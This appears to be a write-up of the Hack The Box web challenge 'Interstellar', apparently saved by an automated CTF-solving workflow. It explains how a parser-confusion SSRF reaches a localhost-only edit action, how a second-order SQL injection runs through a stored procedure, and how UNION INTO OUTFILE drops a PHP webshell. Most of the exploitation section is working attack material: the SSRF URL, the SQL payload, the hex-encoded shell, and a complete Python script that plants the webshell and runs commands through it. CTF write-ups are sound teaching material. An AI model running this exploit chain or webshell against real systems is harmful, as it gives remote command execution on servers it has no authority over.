Interstellar Challenge Scenario
Interstellar Challenge Scenario
Platform: Hack The Box | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-01 | Status: Solved Techniques: parser_confusion_abuse, second_order_sqli, ssrf_localhost_bypass, union_into_outfile, webshell_drop
Summary
Task: a PHP/MySQL web app with a localhost-only profile edit feature and a server-side communication endpoint. Solution: abuse parser confusion for SSRF to 127.0.0.1, plant a second-order SQLi in the session name, write a PHP webshell with INTO OUTFILE, and read the randomized flag file.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
Hack The Box| ID:20260401_hackthebox_interstellar - Tags: SQLi, mysql, union_select, ssrf, php, localhost_bypass, into_outfile, parser_confusion, stored_procedure
- Indicators: filter_var() plus parse_url() before curl, preg_match('/motherland\.com$/, host), curl uses parsed host instead of full URL, REMOTE_ADDR == 127.0.0.1 guard on edit action
- Source:
20260401_hackthebox_interstellar.md
Foothold
Vulnerability / Misconfiguration
- Parser_confusion_abuse
- Second_order_sqli
- Ssrf_localhost_bypass
- Union_into_outfile
- Webshell_drop
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- parser_confusion_abuse
- second_order_sqli
- ssrf_localhost_bypass
- union_into_outfile
- webshell_drop
- Tags: SQLi, mysql, union_select, ssrf, php, localhost_bypass, into_outfile, parser_confusion, stored_procedure
Original Writeup
<details><summary>Click to expand original content</summary>Interstellar Challenge Scenario — Hack The Box
Description
Interstellar Challenge Scenario
Target used for the final solve: http://154.57.164.83:31171
The application allows registration, login, and a “communicate” feature that sends server-side requests. The goal is to reach an internal localhost-only edit function, turn that into SQL injection on the homepage, and use the database write primitive to recover the flag.
Analysis
Vulnerability 1: parser confusion in communicate.php
The communication endpoint validates a user-supplied URL with filter_var() and parse_url(), then checks the parsed host with:
preg_match('/motherland\.com$/', $parsedUrl['host'])
At first glance this looks like a domain allowlist. The bug is that cURL is not given the original URL. Instead, the request is sent to:
curl_setopt($ch, CURLOPT_URL, $parsedUrl['host']);
So the code validates one URL representation, but cURL later interprets a different string. That parser confusion is the key twist.
Vulnerability 2: localhost-only edit action
index.php?action=edit only allows requests from 127.0.0.1:
if ($_SERVER['REMOTE_ADDR'] != '127.0.0.1') {
// blocked
}
This would normally prevent direct access from outside.
Vulnerability 3: SSRF localhost bypass with IPv4-mapped IPv6
The allowlist can be satisfied and the request still directed to localhost with:
0://[::ffff:127.0.0.1].motherland.com:80/
Why it works:
filter_var()accepts the URL.parse_url()extracts a host ending inmotherland.com, so the regex passes.- CURL receives only the host string, not the full validated URL.
- The crafted host confuses resolution/parsing and reaches
127.0.0.1.
This is the intended parser-confusion / SSRF localhost bypass twist.
Vulnerability 4: unsanitized name update enables second-order SQLi
Registration sanitizes the initial name value:
$name = preg_replace('/[^a-zA-Z0-9]/', '', $name);
But the localhost-only edit action does not sanitize new_name. That lets us replace our session name with SQL injection payload text through SSRF.
Vulnerability 5: unsafe dynamic SQL in searchUser(name)
The homepage calls CALL searchUser(?), which looks safe at the PHP layer, but the stored procedure rebuilds SQL unsafely:
SET @sql = CONCAT('SELECT * FROM users WHERE name = \'', name, '\'');
PREPARE stmt FROM @sql;
EXECUTE stmt;
That means the application has a second-order SQL injection:
- Store a malicious name through the localhost-only edit action.
- Visit
/. - The stored procedure concatenates the injected name into SQL and executes it.
Exploitation Path
Step 1: register and login
Create any valid account. The initial name can be something simple like pilot.
Step 2: use SSRF to hit the internal edit endpoint
Send the localhost-bypass URL to communicate.php and keep the authenticated PHPSESSID cookie. The POST body forwarded internally should contain:
action=edit new_name=<SQLi payload>
SSRF URL:
0://[::ffff:127.0.0.1].motherland.com:80/
Step 3: store a malicious name
The injected name used in the final solve wrote a PHP shell into the web root with UNION ... INTO OUTFILE:
x' UNION SELECT 0x3c3f7068702073797374656d28245f4745545b305d293b3f3e,'','','','' INTO OUTFILE '/var/www/html/<shell>.php' FIELDS TERMINATED BY '' ENCLOSED BY '' ESCAPED BY '' LINES TERMINATED BY ''-- -
The hex string decodes to:
<?php system($_GET[0]);?>
Step 4: trigger the second-order SQLi
After the SSRF edit succeeds, simply visit /. The homepage calls searchUser(name), which executes the stored payload and creates /var/www/html/<shell>.php.
Step 5: use the shell to recover the randomized flag path
Once the shell is present:
/<shell>.php?0=id /<shell>.php?0=ls%20/
The root directory contains a randomized flag filename like:
<hex>_flag.txt
Read it through the shell:
/<shell>.php?0=cat%20/<hex>_flag.txt
Solution
Reference exploit script already saved in the task workspace:
/Users/sergeyskorobogatov/Projects/Agents/CTF/tasks/hackthebox/interstellar/exploit_interstellar.py
Full working solve script:
#!/usr/bin/env python3
import re
import sys
import time
import uuid
import requests
def must(cond, msg):
if not cond:
raise SystemExit(msg)
def main():
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <base_url>")
raise SystemExit(1)
base = sys.argv[1].rstrip("/")
s = requests.Session()
tag = uuid.uuid4().hex[:8]
username = f"user_{tag}"
password = f"pass_{tag}"
name = "pilot"
shell_name = f"{uuid.uuid4().hex[:8]}.php"
register = s.post(
f"{base}/register.php",
data={"name": name, "username": username, "password": password},
timeout=10,
)
must(register.status_code == 200, f"register failed: {register.status_code}")
login = s.post(
f"{base}/login.php",
data={"username": username, "password": password},
allow_redirects=False,
timeout=10,
)
must(login.status_code in (302, 303), f"login failed: {login.status_code}")
shell_hex = "0x3c3f7068702073797374656d28245f4745545b305d293b3f3e" # <?php system($_GET[0]);?>
payload = (
"x' UNION SELECT "
f"{shell_hex},'','','','' INTO OUTFILE '/var/www/html/{shell_name}' "
"FIELDS TERMINATED BY '' ENCLOSED BY '' ESCAPED BY '' LINES TERMINATED BY ''-- -"
)
ssrf_url = "0://[::ffff:127.0.0.1].motherland.com:80/"
s.post(
f"{base}/communicate.php",
data={
"url": ssrf_url,
"data[action]": "edit",
"data[new_name]": payload,
},
timeout=10,
)
trigger = s.get(f"{base}/", timeout=10)
must(trigger.status_code in (200, 500), f"unexpected trigger status: {trigger.status_code}")
time.sleep(0.5)
shell_url = f"{base}/{shell_name}"
whoami = requests.get(shell_url, params={"0": "id"}, timeout=10)
must("uid=" in whoami.text, "webshell was not created")
listing = requests.get(shell_url, params={"0": "ls /"}, timeout=10).text
match = re.search(r"([A-Fa-f0-9]{16}_flag\.txt)", listing)
must(match, "flag file not found in /")
flag_path = "/" + match.group(1)
flag = requests.get(shell_url, params={"0": f"cat {flag_path}"}, timeout=10).text.strip()
print(flag)
if __name__ == "__main__":
main()
Example usage:
</details>python3 exploit_interstellar.py http://154.57.164.83:31171
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR